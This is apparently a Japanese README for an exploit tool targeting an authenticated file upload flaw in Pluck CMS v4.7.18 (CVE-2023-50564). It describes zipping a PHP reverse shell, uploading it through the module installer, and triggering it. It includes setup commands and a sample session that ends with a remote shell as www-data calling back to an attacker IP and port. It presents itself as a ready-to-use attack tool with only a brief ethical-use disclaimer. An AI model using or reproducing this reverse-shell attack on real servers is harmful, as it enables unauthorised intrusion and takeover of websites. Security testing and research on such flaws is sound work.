
このスクリプトは、Pluck CMS v4.7.18 のファイルアップロード機能の脆弱性を悪用して悪意のある PHP ファイルをアップロードし、リバースシェルによるリモートアクセスを可能にします。アップロードされると、このバックドアにより攻撃者は Web サーバーの権限でサーバーにアクセスでき、システムまたはネットワーク内でのさらなる操作が可能になります。
このスクリプトは、Pluck CMS v4.7.18(CVE-2023-50564)の認証済み任意ファイルアップロードの脆弱性を悪用します。この脆弱性を悪用することで、認証済みの攻撃者は悪意のある PHP ファイルをアップロードし、任意のコードを実行できるようになります(この場合はリバースシェル)。
この脆弱性は /admin.php?action=installmodule エンドポイントに存在し、認証済みユーザーが任意のファイルを含む ZIP ファイルをアップロードすることを許可します。悪意のある PHP ファイルをアップロードすることで、このエクスプロイトは攻撃者へのリバースシェルを確立します。
pip install requestspip install requests-toolbeltまた、このスクリプトは Pluck CMS インスタンスの有効なログイン情報(ターゲットの URL とパスワード)を必要とします。
su、sudo -l)を検出し、ユーザーが手動で入力を提供できるようにします。git clone https://github.com/yourusername/Pluck-CMS-Exploit.git
cd Pluck-CMS-Exploit
pip install requests requests-toolbelt
Python を使用してエクスプロイトを実行します:
python3 exploit.py
例:
$ python3 exploit.py
Enter the target URL (e.g., example.com): pluckcms.vulnerable.com
Enter the password for target authentication: password123
Enter your IP (for reverse shell): 10.10.14.5
Enter the port to listen on (for reverse shell): 4444
[*] Authenticating to the target...
[+] Authentication successful.
[*] Generating reverse shell PHP file...
[+] Reverse shell PHP file created successfully as 'shell.php'.
[*] Creating ZIP payload...
[+] ZIP file created as 'payload.zip'.
[*] Starting reverse shell listener on 10.10.14.5:4444 ...
[*] Uploading payload to the target...
[+] Payload uploaded successfully.
[*] Triggering reverse shell at: http://pluckcms.vulnerable.com/data/modules/payload/shell.php
[+] Connection received from ('10.10.10.1', 55678)
Shell> whoami
www-data
このスクリプトは教育目的および倫理的なハッキングを目的としています。テストする明示的な許可がある環境でのみ使用してください。作者はこのツールの誤用について一切責任を負いません。
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は MIT License をご覧ください。
リポジトリをフォークしてプルリクエストを送信してください。問題や機能リクエストがある場合は、GitHub で issue を開いてください。